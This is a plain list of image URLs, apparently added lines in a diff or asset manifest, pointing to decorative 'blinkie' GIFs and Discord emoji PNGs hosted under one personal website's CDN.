+https://krisyotam.com/cdn/photos/Misc/blinkies/z39.gif +https://krisyotam.com/cdn/photos/Misc/blinkies/z4.gif +https://krisyotam.com/cdn/photos/Misc/blinkies/z40.gif +https://krisyotam.com/cdn/photos/Misc/blinkies/z41.gif +https://krisyotam.com/cdn/photos/Misc/blinkies/z42.gif +https://krisyotam.com/cdn/photos/Misc/blinkies/z43.gif +https://krisyotam.com/cdn/photos/Misc/blinkies/z44.gif +https://krisyotam.com/cdn/photos/Misc/blinkies/z45.gif +https://krisyotam.com/cdn/photos/Misc/blinkies/z46.gif +https://krisyotam.com/cdn/photos/Misc/blinkies/z47.gif +https://krisyotam.com/cdn/photos/Misc/blinkies/z48.gif +https://krisyotam.com/cdn/photos/Misc/blinkies/z49.gif +https://krisyotam.com/cdn/photos/Misc/blinkies/z5.gif +https://krisyotam.com/cdn/photos/Misc/blinkies/z50.gif +https://krisyotam.com/cdn/photos/Misc/blinkies/z51.gif +https://krisyotam.com/cdn/photos/Misc/blinkies/z52.gif +https://krisyotam.com/cdn/photos/Misc/blinkies/z53.gif +https://krisyotam.com/cdn/photos/Misc/blinkies/z54.gif +https://krisyotam.com/cdn/photos/Misc/blinkies/z55.gif +https://krisyotam.com/cdn/photos/Misc/blinkies/z56.gif +https://krisyotam.com/cdn/photos/Misc/blinkies/z6.gif +https://krisyotam.com/cdn/photos/Misc/blinkies/z7.gif +https://krisyotam.com/cdn/photos/Misc/blinkies/z8.gif +https://krisyotam.com/cdn/photos/Misc/blinkies/z9.gif +https://krisyotam.com/cdn/photos/Misc/discord-emojis/1152550092243472404.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/295933709331202048.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/300862328948260865.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/327129660783853570.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/399376975241936900.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/411357098484432896.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/415236707294904330.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/459177191528333344.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/477932148599554068.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/482591751241203742.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/482591751308050432.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/490196464082092053.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/493764293679120403.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/501513116178448394.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/513725419946639360.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/530355441637654539.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/531116873325215749.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/531116873677275136.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/535644652712493096.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/536512026491486208.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/544932552578957322.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/562293110428794883.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/566688650406920208.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/572659971758620681.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/585536436564918314.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/585622940909830154.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/585894213577867293.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/585894214362071041.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/585985093051482122.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/586023163616296960.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/587289008443490367.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/591748816181657610.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/593004437799174174.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/598692709871517727.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/604215359377244170.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/608850821857148978.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/611773973927165962.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/621578333003710465.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/626105547917099008.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/626450502279888906.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/627867455821447188.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/632060998374916097.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/635231461523456020.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/635262600405581828.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/635311945012084758.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/635314193637048343.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/635327387298562078.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/637701462658514945.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/637706728431026228.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/638957198915141633.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/639656368458170379.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/640959272691433533.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/641422769049042987.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/646605606093979648.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/663463476471136276.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/663729413069733898.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/666087090387156993.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/672744448798490635.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/676112936279867420.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/677393603512762368.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/678201572936646686.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/678212956634349569.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/678731470642348032.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/679629431710810113.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/679912483762601984.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/682489416174010368.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/684069458263801914.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/686884878758969396.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/687864774322552847.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/690166814839275551.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/691801663618678814.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/691806040295211080.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/692846027149148261.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/696421707342151702.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/696857336907563099.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/700079320584028250.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/702244458229661767.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/703365192104542290.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/704196659772522559.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/704469406973165589.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/705358755055009852.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/706552875781849218.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/707300367817506848.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/707300922551697429.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/707300964243341374.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/707301366418243706.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/707303107910172773.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/707314287453929595.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/707838343962165249.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/708580516713988209.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/708584366133084160.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/708585792456491048.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/708588087667851305.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/708588100061888512.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/708588386683977789.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/708589126667993108.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/708589783445798943.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/708596954111672382.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/709692843840503823.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/710103828527317023.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/710103873204781068.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/710107119604596807.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/710111423409422386.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/710117855256903721.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/710117869945356410.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/710118161684496486.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/710316222482350171.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/710962930568658995.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/711107040755580938.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/711115685782355978.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/711116422398345226.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/711499723701354592.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/711601631292293230.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/711641815480139829.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/711849513102344202.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/711850476865585152.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/711923234584395874.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/712161472863535143.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/712350542701133834.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/712549063744159764.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/712695321745948723.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/712709928955019367.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/713004173565624331.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/714286011856846868.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/714571841943109754.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/714675040653803560.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/714677464403804290.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/714679588868849665.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/717281986422767628.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/717610720610746429.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/717737131849678999.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/718896056410177597.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/718978368363692042.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/718982671862333440.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/718986062629961790.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/718987655689404479.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/719233433598951447.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/719760817322459287.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/719761685019230238.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/719762202130776077.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/722781018922156113.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/722922248616542258.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/723277825267859497.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/723799799236919326.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/723802319212249128.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/724948521966633082.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/725768993050198138.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/727928753061232790.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/727928845604356168.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/729982682213384192.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/729982821237653535.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/730042085947736144.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/730384603294203936.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/730384752137338936.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/730588106142515411.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/730588967207960646.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/730936999141179452.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/730997820018130994.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/732696991737315329.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/733394567193427968.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/733551113097314336.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/734359411732250654.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/734664038914457672.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/734804021658910741.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/734834859054334023.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/735152716124389457.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/736043724441911397.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/736344097513799752.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/736423499144626196.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/736575821698957401.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/736696768162693250.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/736697554380521472.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/737189915720417290.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/737465059076341801.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/737468815306260520.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/737469479868563557.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/737469792088227932.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/737470039917199371.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/738541768248918076.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/738543793636376675.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/738805170523340881.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/739206284171280384.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/739206418032492594.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/739313577642426459.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/739423197316775936.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/740160662721921104.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/740528150840213535.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/740831161214959616.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/741257249447608400.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/741257256858812476.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/741561705922035742.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/743241961519054889.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/743555466352656515.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/743555489584906340.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/743555700562853908.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/743555722901717133.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/743663577637978175.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/743960420615716864.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/744066011585576991.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/744214966529163344.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/744753905681956895.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/744946436050911312.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/746387888115286137.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/747376985243648010.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/748147988873871421.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/749646792420884511.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/749657075881345126.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/750816407310041129.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/750818178539585607.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/750966903442243684.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/751085765173182625.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/751090444754223114.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/751857364834975774.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/751857474432139395.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/752085236212432917.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/754484697295487056.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/754496102740525076.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/754674662469926922.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/754993063880818698.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/755030887556448256.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/756387193160990820.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/756387286437986374.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/758193190372638740.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/759052038540623892.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/759687741171826688.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/760197981135306802.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/760855588548116531.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/760861681453760512.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/760862027886886962.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/760862287833071707.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/762188763786641469.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/762223967561056276.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/762693095383892009.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/762960286520836107.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/762994968927141909.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/763613140927119366.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/763643848098185227.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/763692461460946944.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/763878512075472917.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/764906968976064523.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/765189395014746132.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/766034653906731039.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/766139105645035540.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/766993001858990130.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/767306825796026388.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/767796856133648414.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/769702500755701780.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/769924904187068437.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/770673968780804106.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/773760356119085087.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/775036848035987487.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/775467283984023592.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/777525569075281961.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/777589118527209512.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/778569671511244810.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/781243792203710494.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/782410848014041108.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/782978638051016725.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/783962104033312780.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/784234106447855616.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/784234247531659305.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/784235036945416232.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/784243684401086476.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/784243859940835368.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/784244155580547102.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/784244211829833738.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/784245564476883014.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/784246417039556638.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/784246588783853578.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/784246633868427284.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/784247034798276639.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/784420238497284136.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/784426572374343691.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/784426688536510464.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/784426732080988170.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/786155966319689758.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/786924798185308170.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/789906850807939108.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/790015910336528405.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/790018946350841866.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/791131468704251935.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/793283827584991232.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/795882100317224972.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/795972989156851772.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/796481591228235847.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/797192135485030401.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/799746931659767828.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/801001278267326474.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/801747561655304252.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/801830455783063553.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/801850830789148693.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/801934193386979329.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/802685457238065163.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/804064767970639907.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/808030359711121448.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/808401105372839936.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/808401259878547476.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/811233032769634377.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/811359113354412082.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/811436976501948456.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/812038355847348314.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/813163250190778409.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/813912660054900737.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/814572686834794526.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/815205911223730178.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/815205911974117396.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/815908324721033226.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/815911220719648799.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/815922336275365928.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/816917009706254347.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/818223609893617685.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/818223612997402665.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/818362878805278731.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/818363556398628864.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/818849311092899852.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/819627722481467412.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/819638235264712745.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/820268013730267146.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/823582291183665152.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/823599177963143199.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/823601540597153804.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/825356068028678185.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/827501814357819404.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/827648134896287765.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/827989819967144026.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/830236299255873556.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/832036092588064809.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/832386510778400779.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/834925937078173736.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/835762099761315870.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/837206313716678656.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/837703541699117096.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/838143037959569418.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/839481269117255740.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/840348257771323402.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/840348869144608808.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/841074970948010024.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/841588303308652594.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/842087755018403870.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/842422704006889472.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/842727691970805780.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/843229210881163304.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/848264433334747136.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/848264584304525332.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/852228441080070144.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/852228442157350922.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/853299830162849842.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/853954606996652092.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/854613930945019934.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/855973772476547092.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/856597394996068412.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/856597476336205844.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/856598149737349141.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/856598722593816626.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/856916662728523826.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/857207430759841822.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/857388147776290846.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/857522602901241866.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/857527975431110656.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/857531263765315584.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/857542977269923880.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/857543649322336257.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/857550936435851284.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/858341478362251265.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/858346510134804480.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/858764459408228372.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/858795281193500682.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/858796833760083978.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/858800253091708938.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/858999084488982528.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/859007509603942410.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/859553477449351198.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/861203626218749952.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/861956981106933771.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/862035770121781258.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/862174631279591454.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/866583844471701524.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/871192538084687872.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/888845976331223102.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/903344598322126929.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/903344598477332550.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/903348569262653450.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/916731335362613248.png +https://krisyotam.com/cdn/photos/Misc/discord-emojis/930246285368393798.png 